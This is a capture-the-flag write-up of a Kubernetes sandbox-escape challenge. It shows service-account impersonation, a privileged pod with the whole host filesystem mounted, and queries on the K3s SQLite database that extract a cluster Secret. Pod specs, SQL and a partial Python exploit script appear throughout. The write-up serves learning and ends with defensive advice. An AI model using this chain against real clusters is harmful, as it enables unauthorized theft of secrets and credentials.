Ctfaas

LACTFby smothy

CTFaaS - CTFs as a Service! - LA CTF Misc Writeup

Category: Misc Difficulty: Hard Points: 325 Solves: 25 Flag: lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r} Solved by: Smothy @ 0xN1umb


Hackerman

"Your RBAC is only as strong as your weakest impersonation policy."


Challenge Description

Want to run your own CTF but don't have the time or knowledge to set up the infrastructure? ACM Cyber is proud to announce CTFaaS! With our platform, you can easily deploy and manage CTF challenges in isolated environments. Our challenge deployer, despite allowing you to run arbitrary code, is perfectly secure due to our state-of-the-art security measures, including proper RBAC configurations, service accounts applied to every deployed challenge with limited permissions, and a custom-built sandboxing solution. We've even put the keys to our company inside of a Secret in the cluster as proof we stand behind what we claim!

A Kubernetes challenge where you deploy Docker containers as "CTF challenges" into a K8s cluster and need to escape the sandbox to read a Secret. Sounds secure? Narrator: it was not.

TL;DR

Deployed a container to a K8s cluster, discovered the ctf-app service account can impersonate ctf-deployer-sa, used the deployer SA's permissions to create a privileged pod with hostPath mount, read the K3s SQLite database to find the secret name real-flag, then mounted it directly. Kubernetes go brrr.

Initial Recon

The CTFaaS platform gives you a web deployer at IP:30000 where you upload Docker image tarballs. Each uploaded image gets deployed as a pod in the default namespace with its own service account.

First step: build a container that enumerates the K8s environment from inside.

bash
docker build -t k8s-exploit exploit/
docker save k8s-exploit -o exploit.tar
# Upload via the web deployer

Step 1: K8s Environment Enumeration

Our container runs with the service account system:serviceaccount:default:ctf-app. The SA token is at the usual location:

/var/run/secrets/kubernetes.io/serviceaccount/token

K8s API at https://kubernetes.default.svc. First thing we checked - what namespaces exist?

default hidden-vault <-- suspicious! kube-node-lease kube-public kube-system

hidden-vault - you might as well call it flag-is-here. The challenge says the flag is in a Secret, so the flag Secret is almost certainly in hidden-vault.

Step 2: RBAC Privilege Escalation

The ctf-app SA has very limited permissions directly. But we discovered something spicy - it can impersonate another service account:

system:serviceaccount:default:ctf-deployer-sa

The deployer SA has much more power:

  • CRUD on pods, pods/log, services, namespaces
  • CRUD on deployments
  • Can operate across namespaces including hidden-vault

But critically, it cannot list or get Secrets directly. So we can't just curl the Secrets API.

Step 3: The Image Problem

We can create pods via impersonation, but there's a catch - the cluster has no internet access (egress locked to your IP only). So alpine:latest = ErrImagePull.

The solution? There's an internal Docker registry at 10.43.254.254:5000 containing our own uploaded challenge images. We use our own image with imagePullPolicy: IfNotPresent since it's already cached on the node.

Step 4: Finding the Secret Name

We can't list Secrets, so we need to find the secret name another way. The deployer SA can create privileged pods with hostPath mounts. This is the container escape:

json
{
  "hostPID": true,
  "containers": [{
    "securityContext": {"privileged": true},
    "volumeMounts": [{"name": "hostfs", "mountPath": "/host"}]
  }],
  "volumes": [{"hostPath": {"path": "/", "type": "Directory"}}]
}

With the entire host filesystem mounted, we went straight for the K3s database:

/host/var/lib/rancher/k3s/server/db/state.db

K3s stores ALL Kubernetes state in a SQLite database. We queried it:

sql
SELECT id, name FROM kine WHERE name LIKE '%secret%'

Found 91 rows, and among them:

247 /registry/secrets/hidden-vault/real-flag

The secret is called real-flag in namespace hidden-vault.

Step 5: Reading the Flag - Two Ways

Approach 1: Secret Volume Mount (The Clean Way)

Now that we know the secret name, create a pod in hidden-vault that mounts it:

json
{
  "namespace": "hidden-vault",
  "volumes": [{"secret": {"secretName": "real-flag"}}],
  "command": ["cat", "/secret/flag"]
}

Output:

SECRETMOUNT flag -> ..data/flag --- lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r}

Approach 2: SQLite Database Dump (The Brutal Way)

Query the K3s SQLite DB for the actual value:

sql
SELECT value FROM kine WHERE name LIKE '%real-flag%'

The value is a protobuf-encoded Kubernetes Secret object. Decoded it contains:

json
{"stringData": {"flag": "lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r}"}}

Both approaches give us the same flag. Double confirmation.

The Flag

lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r}

Decoded: oh_no_you_hacked_my_perfectly_secure_cluster

The Solve Script

The final exploit is a Python script embedded in an Alpine container that:

  1. Reads the SA token
  2. Discovers our own image in the internal registry
  3. Creates a pod in hidden-vault mounting the real-flag secret
  4. Creates a privileged pod with hostPath reading the K3s SQLite DB
  5. Reports results via HTTP server on port 8080
python
"""
CTFaaS Exploit - LA CTF 2026
Smothy @ 0xN1umb

K8s SA impersonation → privileged pod → hostPath mount → K3s SQLite → Secret extraction
"""

# Key exploit chain:
SA_TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()

# Impersonate deployer SA for elevated permissions
headers = {
    'Authorization': f'Bearer {SA_TOKEN}',
    'Impersonate-User': 'system:serviceaccount:default:ctf-deployer-sa'
}

# Create pod in hidden-vault mounting the secret
secret_pod = {
    'metadata': {'name': 'flagpod', 'namespace': 'hidden-vault'},
    'spec': {
        'containers': [{'command': ['cat', '/secret/flag'],
                        'volumeMounts': [{'name': 'flag', 'mountPath': '/secret'}]}],
        'volumes': [{'name': 'flag', 'secret': {'secretName': 'real-flag'}}]
    }
}

# Also create privileged pod reading K3s DB as backup
priv_pod = {
    'spec': {
        'hostPID': True,
        'containers': [{'securityContext': {'privileged': True},
                        'volumeMounts': [{'name': 'hostfs', 'mountPath': '/host'}]}],
        'volumes': [{'hostPath': {'path': '/'}}]
    }
}

The Graveyard of Failed Attempts

  1. Guessing secret names - Tried flag, secret, company-keys, ctfaas-secret, keys with optional volume mounts. All mounted as empty directories because those secrets don't exist.

  2. alpine:latest - ErrImagePull because no internet. Had to use the internal registry images with imagePullPolicy: IfNotPresent.

  3. Netcat-based HTTP server - Our first containers used nc -l for the web server. Would serve one request then die. Switched to Python http.server.

  4. Bash script complexity - v6 of the exploit had such complex nested escaping (Python inside JSON inside Python inside bash) that the container wouldn't even start. v7 fixed this by starting the web server first, exploit second.

  5. HTTP/1.1 multipart upload - Curl's default HTTP/1.1 with Expect: 100-continue was timing out when uploading 57MB images. Had to use --http1.0 to bypass.

  6. IPv6 vs IPv4 - The instance firewall is IPv4 only. Python requests was defaulting to IPv6 and timing out. Had to force -4 on curl.

Key Takeaways

  1. Service Account Impersonation is dangerous - If an SA can impersonate another SA with more permissions, you essentially inherit those permissions. Always audit impersonation policies.

  2. Privileged pods + hostPath = game over - If RBAC allows creating privileged pods with hostPath mounts, you can read the entire host filesystem including the K3s database with ALL cluster secrets.

  3. K3s stores everything in SQLite - Unlike full K8s with etcd, K3s uses /var/lib/rancher/k3s/server/db/state.db. If you can read this, you have every secret in the cluster.

  4. Internal registries are your friend - When network is restricted, look for internal container registries. Your own uploaded images are cached and can be reused.

  5. Two paths to the same flag - Secret volume mount is cleaner, but SQLite dump is the backup. Always have multiple exploit paths.

Tools Used

  • Docker (building/saving images)
  • curl (K8s API interaction, HTTP/1.0 uploads)
  • Python http.server (in-container web server)
  • SQLite3 (K3s database extraction)
  • K8s API (pod creation, log reading, SA impersonation)
  • Way too much caffeine

Writeup by Smothy from 0xN1umb team. "Your cluster is only as secure as your most overprivileged service account." GG.